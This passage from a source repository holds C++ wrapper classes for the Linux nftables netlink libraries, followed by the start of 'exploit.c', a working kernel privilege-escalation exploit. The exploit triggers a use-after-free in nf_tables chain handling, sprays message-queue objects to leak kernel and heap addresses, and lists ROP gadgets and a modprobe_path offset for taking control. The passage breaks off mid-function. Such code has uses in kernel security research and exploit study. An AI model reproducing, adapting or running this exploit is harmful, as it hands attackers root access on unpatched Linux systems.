| NFObject() : ptr(nftnl_obj_alloc()) {} 243 | ~NFObject() 244 | { 245 | if (ptr != nullptr) 246 | { 247 | nftnl_obj_free(ptr); 248 | ptr = nullptr; 249 | } 250 | } 251 | NFObject &set_name(const char *name) 252 | { 253 | nftnl_obj_set_str(ptr, NFTNL_OBJ_NAME, name); 254 | return *this; 255 | } 256 | NFObject &set_family(uint32_t family) 257 | { 258 | nftnl_obj_set_u32(ptr, NFTNL_OBJ_FAMILY, family); 259 | return *this; 260 | } 261 | NFObject &set_table(const char *table) 262 | { 263 | nftnl_obj_set_str(ptr, NFTNL_OBJ_TABLE, table); 264 | return *this; 265 | } 266 | NFObject &set_type(uint32_t type) 267 | { 268 | nftnl_obj_set_u32(ptr, NFTNL_OBJ_TYPE, type); 269 | return *this; 270 | } 271 | NFObject &set_udata(const void *udata, uint32_t udlen) 272 | { 273 | nftnl_obj_set_data(ptr, NFTNL_OBJ_USERDATA, udata, udlen); 274 | return *this; 275 | } 276 | 277 | public: 278 | nftnl_obj *ptr; 279 | }; 280 | 281 | class NFSet 282 | { 283 | public: 284 | NFSet() : ptr(nftnl_set_alloc()) {} 285 | virtual ~NFSet() 286 | { 287 | if (ptr != nullptr) 288 | { 289 | nftnl_set_free(ptr); 290 | ptr = nullptr; 291 | } 292 | } 293 | NFSet &set_table(const char *table) 294 | { 295 | nftnl_set_set_str(ptr, NFTNL_SET_TABLE, table); 296 | return *this; 297 | } 298 | NFSet &set_name(const char *name) 299 | { 300 | nftnl_set_set_str(ptr, NFTNL_SET_NAME, name); 301 | return *this; 302 | } 303 | NFSet &set_family(uint32_t family) 304 | { 305 | nftnl_set_set_u32(ptr, NFTNL_SET_FAMILY, family); 306 | return *this; 307 | } 308 | NFSet &set_key_len(uint32_t len) 309 | { 310 | nftnl_set_set_u32(ptr, NFTNL_SET_KEY_LEN, len); 311 | return *this; 312 | } 313 | NFSet &set_id(uint32_t id) 314 | { 315 | nftnl_set_set_u32(ptr, NFTNL_SET_ID, id); 316 | return *this; 317 | } 318 | NFSet &set_udata(const void *udata, uint32_t udlen) 319 | { 320 | nftnl_set_set_data(ptr, NFTNL_SET_USERDATA, udata, udlen); 321 | return *this; 322 | } 323 | NFSet &set_flags(uint32_t flags) 324 | { 325 | nftnl_set_set_u32(ptr, NFTNL_SET_FLAGS, flags); 326 | return *this; 327 | } 328 | NFSet &set_obj_type(uint32_t obj_type) 329 | { 330 | nftnl_set_set_u32(ptr, NFTNL_SET_OBJ_TYPE, obj_type); 331 | return *this; 332 | } 333 | 334 | public: 335 | friend class NFBatch; 336 | nftnl_set *ptr; 337 | }; 338 | 339 | class MNLSocket 340 | { 341 | public: 342 | MNLSocket(int bus) : ptr(mnl_socket_open(bus)) 343 | { 344 | if (ptr == nullptr) 345 | ERROR("mnl_socket_open"); 346 | 347 | if (mnl_socket_bind(ptr, 0, MNL_SOCKET_AUTOPID) < 0) 348 | ERROR("mnl_socket_bind"); 349 | } 350 | ~MNLSocket() 351 | { 352 | if (ptr != nullptr) 353 | { 354 | mnl_socket_close(ptr); 355 | ptr = nullptr; 356 | } 357 | } 358 | int send(const void *buf, size_t size) 359 | { 360 | return mnl_socket_sendto(ptr, buf, size); 361 | } 362 | int recv(void *buf, size_t size) 363 | { 364 | return mnl_socket_recvfrom(ptr, buf, size); 365 | } 366 | unsigned int portid() 367 | { 368 | return mnl_socket_get_portid(ptr); 369 | } 370 | void run_cb(uint32_t seq, mnl_cb_t cb, void *cb_data) 371 | { 372 | int ret; 373 | char buf[MNL_SOCKET_BUFFER_SIZE]; 374 | do 375 | { 376 | if ((ret = recv(buf, sizeof(buf))) < 0) 377 | ERROR("nl.recv"); 378 | } while ((ret = mnl_cb_run(buf, ret, seq, portid(), cb, cb_data)) > 0); 379 | if (ret < 0) 380 | ERROR("mnl_cb_run"); 381 | } 382 | 383 | public: 384 | mnl_socket *ptr; 385 | }; 386 | 387 | class MNLBatch 388 | { 389 | public: 390 | MNLBatch() : ptr(mnl_nlmsg_batch_start(buf, sizeof(buf))) {} 391 | ~MNLBatch() 392 | { 393 | if (ptr != nullptr) 394 | { 395 | mnl_nlmsg_batch_stop(ptr); 396 | ptr = nullptr; 397 | } 398 | } 399 | bool next() 400 | { 401 | return mnl_nlmsg_batch_next(ptr); 402 | } 403 | void *current() 404 | { 405 | return mnl_nlmsg_batch_current(ptr); 406 | } 407 | void *head() 408 | { 409 | return mnl_nlmsg_batch_head(ptr); 410 | } 411 | size_t size() 412 | { 413 | return mnl_nlmsg_batch_size(ptr); 414 | } 415 | 416 | private: 417 | char buf[4096]; 418 | mnl_nlmsg_batch *ptr; 419 | }; 420 | 421 | class NFBatch 422 | { 423 | public: 424 | NFBatch &start() 425 | { 426 | nftnl_batch_begin((char *)current(), 0); 427 | next(); 428 | start_seq = cur_seq = 1; 429 | return *this; 430 | } 431 | void end() 432 | { 433 | nftnl_batch_end((char *)current(), cur_seq); 434 | next(); 435 | } 436 | bool next() 437 | { 438 | return mnl.next(); 439 | } 440 | void *current() 441 | { 442 | return mnl.current(); 443 | } 444 | void *head() 445 | { 446 | return mnl.head(); 447 | } 448 | size_t size() 449 | { 450 | return mnl.size(); 451 | } 452 | NFBatch &add(const NFTable &table) 453 | { 454 | auto nlh = nftnl_nlmsg_build_hdr((char *)current(), NFT_MSG_NEWTABLE, NFPROTO_INET, NLM_F_ACK | NLM_F_CREATE, cur_seq++); 455 | nftnl_table_nlmsg_build_payload(nlh, table.ptr); 456 | next(); 457 | return *this; 458 | } 459 | NFBatch &del(const NFTable &table) 460 | { 461 | auto nlh = nftnl_nlmsg_build_hdr((char *)current(), NFT_MSG_DELTABLE, NFPROTO_INET, NLM_F_ACK, cur_seq++); 462 | nftnl_table_nlmsg_build_payload(nlh, table.ptr); 463 | next(); 464 | return *this; 465 | } 466 | NFBatch &add(const NFChain &chain) 467 | { 468 | auto nlh = nftnl_nlmsg_build_hdr((char *)current(), NFT_MSG_NEWCHAIN, NFPROTO_INET, NLM_F_ACK | NLM_F_CREATE, cur_seq++); 469 | nftnl_chain_nlmsg_build_payload(nlh, chain.ptr); 470 | next(); 471 | return *this; 472 | } 473 | NFBatch &del(const NFChain &chain) 474 | { 475 | auto nlh = nftnl_nlmsg_build_hdr((char *)current(), NFT_MSG_DELCHAIN, NFPROTO_INET, NLM_F_ACK, cur_seq++); 476 | nftnl_chain_nlmsg_build_payload(nlh, chain.ptr); 477 | next(); 478 | return *this; 479 | } 480 | NFBatch &add(const NFRule &rule) 481 | { 482 | auto nlh = nftnl_nlmsg_build_hdr((char *)current(), NFT_MSG_NEWRULE, NFPROTO_INET, NLM_F_ACK | NLM_F_CREATE, cur_seq++); 483 | nftnl_rule_nlmsg_build_payload(nlh, rule.ptr); 484 | next(); 485 | return *this; 486 | } 487 | NFBatch &del(const NFRule &rule) 488 | { 489 | auto nlh = nftnl_nlmsg_build_hdr((char *)current(), NFT_MSG_DELRULE, NFPROTO_INET, NLM_F_ACK, cur_seq++); 490 | nftnl_rule_nlmsg_build_payload(nlh, rule.ptr); 491 | next(); 492 | return *this; 493 | } 494 | NFBatch &add(const NFObject &object) 495 | { 496 | auto nlh = nftnl_nlmsg_build_hdr((char *)current(), NFT_MSG_NEWOBJ, NFPROTO_INET, NLM_F_ACK | NLM_F_CREATE, cur_seq++); 497 | nftnl_obj_nlmsg_build_payload(nlh, object.ptr); 498 | next(); 499 | return *this; 500 | } 501 | NFBatch &del(const NFObject &object) 502 | { 503 | auto nlh = nftnl_nlmsg_build_hdr((char *)current(), NFT_MSG_DELOBJ, NFPROTO_INET, NLM_F_ACK, cur_seq++); 504 | nftnl_obj_nlmsg_build_payload(nlh, object.ptr); 505 | next(); 506 | return *this; 507 | } 508 | NFBatch &add(const NFSet &set) 509 | { 510 | auto nlh = nftnl_nlmsg_build_hdr((char *)current(), NFT_MSG_NEWSET, NFPROTO_INET, NLM_F_ACK | NLM_F_CREATE, cur_seq++); 511 | nftnl_set_nlmsg_build_payload(nlh, set.ptr); 512 | next(); 513 | return *this; 514 | } 515 | NFBatch &del(const NFSet &set) 516 | { 517 | auto nlh = nftnl_nlmsg_build_hdr((char *)current(), NFT_MSG_DELSET, NFPROTO_INET, NLM_F_ACK, cur_seq++); 518 | nftnl_set_nlmsg_build_payload(nlh, set.ptr); 519 | next(); 520 | return *this; 521 | } 522 | void send(MNLSocket &nl) 523 | { 524 | if (nl.send(head(), size()) < 0) 525 | ERROR("nl.send"); 526 | } 527 | void run_all_cb(MNLSocket &nl) 528 | { 529 | for (; start_seq < cur_seq; ++start_seq) 530 | nl.run_cb(start_seq, nullptr, nullptr); 531 | } 532 | 533 | private: 534 | uint32_t start_seq; 535 | uint32_t cur_seq; 536 | MNLBatch mnl; 537 | }; 538 | 539 | class NFDumper 540 | { 541 | public: 542 | static void dump(const NFRule &rule, MNLSocket &nl, mnl_cb_t cb, void *cb_data) 543 | { 544 | nlmsghdr *nlh; 545 | char buf[MNL_SOCKET_BUFFER_SIZE]; 546 | 547 | nlh = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, NFPROTO_INET, NLM_F_DUMP, 0x1337); 548 | nftnl_rule_nlmsg_build_payload(nlh, rule.ptr); 549 | 550 | if (nl.send(nlh, nlh->nlmsg_len) < 0) 551 | ERROR("nl.send"); 552 | 553 | nl.run_cb(0x1337, cb, cb_data); 554 | } 555 | }; 556 | -------------------------------------------------------------------------------- /chain-active/exploit.c: -------------------------------------------------------------------------------- 1 | #ifndef _GNU_SOURCE 2 | #define _GNU_SOURCE 3 | #endif 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #include 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | #include 33 | #include 34 | 35 | #define INFO(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__) 36 | #define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__) 37 | #define ERROR(msg) perror("[-] " msg) 38 | 39 | #define RUN_CALLBACKS(cb, data) /* INFO(" Running callbacks"); */ \ 40 | while (rseq < seq) \ 41 | { \ 42 | if ((err = mnl_socket_recvfrom(mnl, buf, sizeof(buf))) <= 0) \ 43 | break; \ 44 | if ((err = mnl_cb_run(buf, err, rseq, mnl_socket_get_portid(mnl), cb, data)) < 0) \ 45 | { \ 46 | WARN(" Failed at sequence %d", rseq); \ 47 | break; \ 48 | } \ 49 | rseq += err == 0; \ 50 | } \ 51 | 52 | #define MSG_COUNT 1024 53 | 54 | #define RHT_DEFERRED_WORKER 0x6ed6d0 55 | #define KPTI_TRAMPOLINE (vmlinux + 0x10010f0 + 0x36) // swapgs_restore_regs_and_return_to_usermode + offset 56 | #define MODPROBE_PATH (vmlinux + 0x208b980) 57 | #define PUSH_RSI_JMP_RSI_OFF (vmlinux + 0xa275e8) // push rsi ; jmp qword ptr [rsi - 0x7f] 58 | #define POP_RSP_R15_RET (vmlinux + 0xb9eae) // pop rsp ; pop r15 ; ret 59 | #define POP_RSP_RET (vmlinux + 0x53820) // pop rsp ; ret 60 | #define WRITE_ECX_TO_RAX_OFF (vmlinux + 0xc31c2) // mov dword ptr [rax - 0x7d], ecx ; ret 61 | #define POP_RAX_RET (vmlinux + 0xbef84) // pop rax ; ret 62 | #define POP_RCX_RET (vmlinux + 0x5f633) // pop rcx ; ret 63 | #define POP_R12_RBP_RBX_RET (vmlinux + 0x97164) // pop r12 ; pop rbp ; pop rbx ; ret 64 | 65 | struct list_head 66 | { 67 | struct list_head *next, *prev; 68 | }; 69 | 70 | struct nft_rule 71 | { 72 | struct list_head list; 73 | uint64_t handle : 42; 74 | uint64_t genmask : 2; 75 | uint64_t dlen : 12; 76 | uint64_t udata : 1; 77 | uint8_t data[]; 78 | }; 79 | 80 | struct msg_msg 81 | { 82 | struct list_head m_list; 83 | long m_type; 84 | size_t m_ts; 85 | struct msg_msgseg *next; 86 | void *security; 87 | }; 88 | 89 | struct msg_msgseg 90 | { 91 | struct msg_msgseg *next; 92 | }; 93 | 94 | typedef struct mnl_socket mnl_socket; 95 | typedef struct mnl_nlmsg_batch mnl_batch; 96 | 97 | typedef struct nftnl_table table; 98 | typedef struct nftnl_chain chain; 99 | typedef struct nftnl_rule rule; 100 | typedef struct nftnl_expr expr; 101 | typedef struct nftnl_obj obj; 102 | 103 | typedef struct nlmsghdr nlmsghdr; 104 | typedef struct nfgenmsg nfgenmsg; 105 | 106 | // for saved states 107 | uint64_t iter, user_cs, user_ss, user_rflags, user_sp; 108 | char **env; 109 | 110 | mnl_socket *mnl; 111 | 112 | int seq, uaf_counter, msgid[MSG_COUNT]; 113 | char uaf_table_name[8]; 114 | uint64_t nft_counter, vmlinux, table_addr, obj_addr, obj_udata; 115 | 116 | void monke() 117 | { 118 | INFO("Return to monke"); 119 | exit(0); 120 | } 121 | 122 | void fork_for_monke() 123 | { 124 | pid_t pid; 125 | 126 | INFO("Forking to hold namespace"); 127 | 128 | if ((pid = fork()) == 0) 129 | { 130 | setsid(); 131 | close(0); 132 | close(1); 133 | close(2); 134 | while (1) 135 | sleep(1000); 136 | } 137 | } 138 | 139 | void save_state() 140 | { 141 | __asm__ 142 | ( 143 | ".intel_syntax noprefix;" 144 | "mov user_cs, cs;" 145 | "mov user_ss, ss;" 146 | "mov user_sp, rsp;" 147 | "pushf;" 148 | "pop user_rflags;" 149 | ".att_syntax;" 150 | ); 151 | INFO("Saved state"); 152 | } 153 | 154 | int setup() 155 | { 156 | cpu_set_t set; 157 | 158 | INFO("Setting up namespace sandbox"); 159 | 160 | if (unshare(CLONE_NEWUSER) == -1) 161 | { 162 | ERROR("unshare(CLONE_NEWUSER"); 163 | return -1; 164 | } 165 | 166 | if (unshare(CLONE_NEWNET) == -1) 167 | { 168 | ERROR("unshare(CLONE_NEWNET)"); 169 | return -1; 170 | } 171 | 172 | INFO("Set process affinity"); 173 | 174 | CPU_ZERO(&set); 175 | CPU_SET(0, &set); 176 | if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) 177 | { 178 | ERROR("sched_setaffinity"); 179 | return -1; 180 | } 181 | 182 | INFO("Initialize message queues"); 183 | for (int i = 0; i < MSG_COUNT; ++i) 184 | { 185 | if ((msgid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) 186 | { 187 | ERROR("msgget"); 188 | return -1; 189 | } 190 | } 191 | 192 | return 0; 193 | } 194 | 195 | int request_compat(struct mnl_socket *nl, const char *name, uint32_t rev, uint32_t type) 196 | { 197 | int err = 0, rseq; 198 | nlmsghdr *hdr; 199 | nfgenmsg *msg; 200 | char buf[MNL_SOCKET_BUFFER_SIZE]; 201 | 202 | INFO("Requesting compat module: %s", name); 203 | 204 | hdr = mnl_nlmsg_put_header(buf); 205 | hdr->nlmsg_type = (NFNL_SUBSYS_NFT_COMPAT << 8) | NFNL_MSG_COMPAT_GET; 206 | hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; 207 | hdr->nlmsg_seq = rseq = seq++; 208 | 209 | msg = mnl_nlmsg_put_extra_header(hdr, sizeof(*msg)); 210 | msg->nfgen_family = AF_INET; 211 | msg->version = NFNETLINK_V0; 212 | msg->res_id = 0; 213 | 214 | mnl_attr_put_strz(hdr, NFTA_COMPAT_NAME, name); 215 | mnl_attr_put_u32(hdr, NFTA_COMPAT_REV, htonl(rev)); 216 | mnl_attr_put_u32(hdr, NFTA_COMPAT_TYPE, htonl(type)); 217 | 218 | mnl_socket_sendto(nl, hdr, hdr->nlmsg_len); 219 | 220 | RUN_CALLBACKS(NULL, NULL); 221 | 222 | return err; 223 | } 224 | 225 | int trigger_uaf(char *udata, uint32_t udlen, int basechain) 226 | { 227 | int err = 0, rseq; 228 | table *t; 229 | chain *c1, *c2, *c3; 230 | rule *r1, *r2; 231 | expr *e; 232 | mnl_batch *b; 233 | nlmsghdr *hdr; 234 | char buf[MNL_SOCKET_BUFFER_SIZE]; 235 | struct xt_audit_info *audit_info; 236 | 237 | INFO(" Triggering Use-After-Free"); 238 | 239 | sprintf(uaf_table_name, "uaf%d", ++uaf_counter); 240 | 241 | t = nftnl_table_alloc(); 242 | nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, NFPROTO_IPV4); 243 | nftnl_table_set_str(t, NFTNL_TABLE_NAME, uaf_table_name); 244 | if (udata) 245 | nftnl_table_set_data(t, NFTNL_TABLE_USERDATA, udata, udlen); 246 | 247 | c1 = nftnl_chain_alloc(); 248 | nftnl_chain_set_str(c1, NFTNL_CHAIN_TABLE, uaf_table_name); 249 | nftnl_chain_set_str(c1, NFTNL_CHAIN_NAME, "c1"); 250 | nftnl_chain_set_u32(c1, NFTNL_CHAIN_ID, 0x1337); 251 | 252 | c2 = nftnl_chain_alloc(); 253 | nftnl_chain_set_str(c2, NFTNL_CHAIN_TABLE, uaf_table_name); 254 | nftnl_chain_set_str(c2, NFTNL_CHAIN_NAME, "c2"); 255 | if (basechain) 256 | { 257 | nftnl_chain_set_u32(c2, NFTNL_CHAIN_FLAGS, NFT_CHAIN_BASE); 258 | nftnl_chain_set_u32(c2, NFTNL_CHAIN_HOOKNUM, NF_INET_FORWARD); 259 | nftnl_chain_set_u32(c2, NFTNL_CHAIN_PRIO, 0); 260 | } 261 | 262 | c3 = nftnl_chain_alloc(); 263 | nftnl_chain_set_str(c3, NFTNL_CHAIN_TABLE, uaf_table_name); 264 | nftnl_chain_set_str(c3, NFTNL_CHAIN_NAME, "c3"); 265 | 266 | r1 = nftnl_rule_alloc(); 267 | nftnl_rule_set_u32(r1, NFTNL_RULE_FAMILY, NFPROTO_IPV4); 268 | nftnl_rule_set_str(r1, NFTNL_RULE_TABLE, uaf_table_name); 269 | nftnl_rule_set_str(r1, NFTNL_RULE_CHAIN, "c2"); 270 | 271 | e = nftnl_expr_alloc("immediate"); 272 | nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); 273 | nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); 274 | nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_CHAIN_ID, 0x1337); 275 | nftnl_rule_add_expr(r1, e); 276 | 277 | // create table 278 | // create chain 1 279 | // delete chain 1 280 | // create chain 2 281 | // create rule 282 | // create immediate JUMP to c1 ====> c1->use = 1 283 | // create chain 3 284 | b = mnl_nlmsg_batch_start(buf, sizeof(buf)); 285 | 286 | nftnl_batch_begin((char *)mnl_nlmsg_batch_current(b), seq++); 287 | mnl_nlmsg_batch_next(b); 288 | rseq = seq; 289 | 290 | hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); 291 | nftnl_table_nlmsg_build_payload(hdr, t); 292 | mnl_nlmsg_batch_next(b); 293 | 294 | hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); 295 | nftnl_chain_nlmsg_build_payload(hdr, c1); 296 | mnl_nlmsg_batch_next(b); 297 | 298 | hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_DELCHAIN, NFPROTO_IPV4, NLM_F_ACK, seq++); 299 | nftnl_chain_nlmsg_build_payload(hdr, c1); 300 | mnl_nlmsg_batch_next(b); 301 | 302 | hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); 303 | nftnl_chain_nlmsg_build_payload(hdr, c2); 304 | mnl_nlmsg_batch_next(b); 305 | 306 | hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); 307 | nftnl_rule_nlmsg_build_payload(hdr, r1); 308 | mnl_nlmsg_batch_next(b); 309 | 310 | hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); 311 | nftnl_chain_nlmsg_build_payload(hdr, c3); 312 | mnl_nlmsg_batch_next(b); 313 | 314 | nftnl_batch_end((char *)mnl_nlmsg_batch_current(b), seq); 315 | mnl_nlmsg_batch_next(b); 316 | 317 | mnl_socket_sendto(mnl, mnl_nlmsg_batch_head(b), mnl_nlmsg_batch_size(b)); 318 | mnl_nlmsg_batch_stop(b); 319 | 320 | RUN_CALLBACKS(NULL, NULL); 321 | 322 | if (err < 0) 323 | goto cleanup; 324 | 325 | r2 = nftnl_rule_alloc(); 326 | nftnl_rule_set_u32(r2, NFTNL_RULE_FAMILY, NFPROTO_IPV4); 327 | nftnl_rule_set_str(r2, NFTNL_RULE_TABLE, uaf_table_name); 328 | nftnl_rule_set_str(r2, NFTNL_RULE_CHAIN, "c3"); 329 | 330 | audit_info = malloc(sizeof(struct xt_audit_info)); 331 | audit_info->type = 0xff; 332 | e = nftnl_expr_alloc("target"); 333 | nftnl_expr_set_str(e, NFTNL_EXPR_TG_NAME, "AUDIT"); 334 | nftnl_expr_set_u32(e, NFTNL_EXPR_TG_REV, 0); 335 | nftnl_expr_set_data(e, NFTNL_EXPR_TG_INFO, audit_info, sizeof(struct xt_audit_info)); 336 | nftnl_rule_add_expr(r2, e); 337 | 338 | // del rule 339 | // create compat expr 340 | b = mnl_nlmsg_batch_start(buf, sizeof(buf)); 341 | 342 | nftnl_batch_begin((char *)mnl_nlmsg_batch_current(b), seq++); 343 | mnl_nlmsg_batch_next(b); 344 | rseq = seq; 345 | 346 | hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_DELRULE, NFPROTO_IPV4, NLM_F_ACK, seq++); 347 | nftnl_rule_nlmsg_build_payload(hdr, r1); 348 | mnl_nlmsg_batch_next(b); 349 | 350 | hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); 351 | nftnl_rule_nlmsg_build_payload(hdr, r2); 352 | mnl_nlmsg_batch_next(b); 353 | 354 | nftnl_batch_end((char *)mnl_nlmsg_batch_current(b), seq); 355 | mnl_nlmsg_batch_next(b); 356 | 357 | mnl_socket_sendto(mnl, mnl_nlmsg_batch_head(b), mnl_nlmsg_batch_size(b)); 358 | mnl_nlmsg_batch_stop(b); 359 | 360 | RUN_CALLBACKS(NULL, NULL); 361 | err = 0; 362 | 363 | nftnl_rule_free(r2); 364 | 365 | cleanup: 366 | nftnl_rule_free(r1); 367 | nftnl_chain_free(c3); 368 | nftnl_chain_free(c2); 369 | nftnl_chain_free(c1); 370 | nftnl_table_free(t); 371 | 372 | return err; 373 | } 374 | 375 | int spray_leak_heap_addr() 376 | { 377 | int err = 0, rseq; 378 | rule *r; 379 | expr *e; 380 | obj *o; 381 | mnl_batch *b; 382 | nlmsghdr *hdr; 383 | char buf[MNL_SOCKET_BUFFER_SIZE]; 384 | 385 | INFO(" Spraying to leak heap address"); 386 | 387 | o = nftnl_obj_alloc(); 388 | nftnl_obj_set_u32(o, NFTNL_OBJ_FAMILY, NFPROTO_IPV4); 389 | nftnl_obj_set_str(o, NFTNL_OBJ_TABLE, uaf_table_name); 390 | nftnl_obj_set_u32(o, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); 391 | nftnl_obj_set_str(o, NFTNL_OBJ_NAME, "o1"); 392 | nftnl_obj_set_u32(o, NFTNL_OBJ_CTR_PKTS, 0); 393 | nftnl_obj_set_u32(o, NFTNL_OBJ_CTR_BYTES, 0); 394 | 395 | r = nftnl_rule_alloc(); 396 | nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, NFPROTO_IPV4); 397 | nftnl_rule_set_str(r, NFTNL_RULE_TABLE, uaf_table_name); 398 | nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, "c3"); 399 | 400 | e = nftnl_expr_alloc("cmp"); 401 | nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_SREG, NFT_REG32_00); 402 | nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, NFT_CMP_EQ); 403 | nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_DATA, 0); 404 | nftnl_rule_add_expr(r, e); 405 | 406 | for (int i = 0; i < 5; ++i) 407 | { 408 | e = nftnl_expr_alloc("objref"); 409 | nftnl_expr_set_u32(e, NFTNL_EXPR_OBJREF_IMM_TYPE, NFT_OBJECT_COUNTER); 410 | nftnl_expr_set_str(e, NFTNL_EXPR_OBJREF_IMM_NAME, "o1"); 411 | nftnl_rule_add_expr(r, e); 412 | } 413 | 414 | for (int i = 0; i < 65; ++i) 415 | { 416 | // INFO(" Setting up batch"); 417 | 418 | b = mnl_nlmsg_batch_start(buf, sizeof(buf)); 419 | 420 | nftnl_batch_begin((char *)mnl_nlmsg_batch_current(b), seq++); 421 | mnl_nlmsg_batch_next(b); 422 | rseq = seq; 423 | 424 | if (i == 0) 425 | { 426 | hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); 427 | nftnl_obj_nlmsg_build_payload(hdr, o); 428 | mnl_nlmsg_batch_next(b); 429 | } 430 | else for (int j = 0; j < 8; ++j) 431 | { 432 | hdr = nftnl_nlmsg_build_hdr((char *)mnl_nlmsg_batch_current(b), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_ACK | NLM_F_CREATE, seq++); 433 | nftnl_rule_nlmsg_build_payload(hdr, r); 434 | mnl_nlmsg_batch_next(b); 435 | } 436 | 437 | nftnl_batch_end((char *)mnl_nlmsg_batch_current(b), seq); 438 | mnl_nlmsg_batch_next(b); 439 | 440 | mnl_socket_sendto(mnl, mnl_nlmsg_batch_head(b), mnl_nlmsg_batch_size(b)); 441 | mnl_nlmsg_batch_stop(b); 442 | 443 | RUN_CALLBACKS(NULL, NULL); 444 | } 445 | 446 | nftnl_obj_free(o); 447 | nftnl_rule_free(r); 448 | 449 | return err; 450 | } 451 | 452 | int spray_fake_chain_addr(uint64_t addr) 453 | { 454 | int err = 0; 455 | char udata[sizeof(long) + 0x80 - sizeof(struct msg_msg)]; 456 | 457 | INFO(" Spraying to leak data at 0x%lx", addr); 458 | 459 | memset(udata, 0, sizeof(udata)); 460 | *(uint64_t *)udata = 2; 461 | *(uint64_t *)(udata + sizeof(long) + 0x58 - sizeof(struct msg_msg)) = addr; 462 | 463 | for (int i = 0; i < MSG_COUNT; ++i) 464 | { 465 | if ((err = msgsnd(msgid[i], udata, sizeof(udata) - sizeof(long), 0)) < 0) 466 | break; 467 | } 468 | 469 | return err; 470 | } 471 | 472 | int leak_vmlinux_expr_cb(expr *e, void *dat) 473 | { 474 | const char *data; 475 | 476 | data = nftnl_expr_get_str(e, NFTNL_EXPR_IMM_CHAIN); 477 | vmlinux = *(uint64_t *)data - RHT_DEFERRED_WORKER; 478 | INFO("vmlinux = 0x%lx", vmlinux); 479 | 480 | return MNL_CB_OK; 481 | } 482 | 483 | int leak_heap_expr_cb(expr *e, void *dat) 484 | { 485 | const char *data; 486 | 487 | data = nftnl_expr_get_str(e, NFTNL_EXPR_IMM_CHAIN); 488 | table_addr = *(uint64_t *)data - 0xb8; 489 | INFO("table_addr = 0x%lx", table_addr); 490 | 491 | return MNL_CB_OK; 492 | } 493 | 494 | int leak_obj_expr_cb(expr *e, void *dat) 495 | { 496 | const char *data; 497 | 498 | data = nftnl_expr_get_str(e, NFTNL_EXPR_IMM_CHAIN); 499 | obj_addr = *(uint64_t *)data << 8lu; 500 | INFO("obj_addr = 0x%lx", obj_addr); 501 | 502 | return MNL_CB_OK; 503 | } 504 | 505 | int leak_udata_expr_cb(expr *e, void *dat) 506 | { 507 | const char *data; 508 | 509 | data = nftnl_expr_get_str(e, NFTNL_EXPR_IMM_CHAIN); 510 | obj_udata = *(uint64_t *)data << 8lu; 511 | INFO("obj_udata = 0x%lx", obj_udata); 512 | 513 | return MNL_CB_OK; 514 | } 515 | 516 | int leak_cb(const nlmsghdr *nlh, void *data) 517 | { 518 | rule *r; 519 | 520 | r = nftnl_rule_alloc(); 521 | nftnl_rule_nlmsg_parse(nlh, r); 522 | 523 | nftnl_expr_foreach(r, data, NULL); 524 | 525 | nftnl_rule_free(r); 526 | 527 | return MNL_CB_OK; 528 | } 529 | 530 | int leak(mnl_cb_t cb, void *expr_cb) 531 | { 532 | int err = 0, rseq; 533 | rule *r; 534 | nlmsghdr *hdr; 535 | char buf[MNL_SOCKET_BUFFER_SIZE]; 536 | 537 | INFO(" Leaking data"); 538 | 539 | r = nftnl_rule_alloc(); 540 | nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, NFPROTO_IPV4); 541 | nftnl_rule_set_str(r, NFTNL_RULE_TABLE, uaf_table_name); 542 | nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, "c2"); 543 | 544 | rseq = seq; 545 | 546 | hdr = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, NFPROTO_IPV4, NLM_F_DUMP, seq++); 547 | nftnl_rule_nlmsg_build_payload(hdr, r); 548 | 549 | mnl_socket_sendto(mnl, buf, hdr->nlmsg_len); 550 | 551 | RUN_CALLBACKS(cb, expr_cb); 552 | 553 | 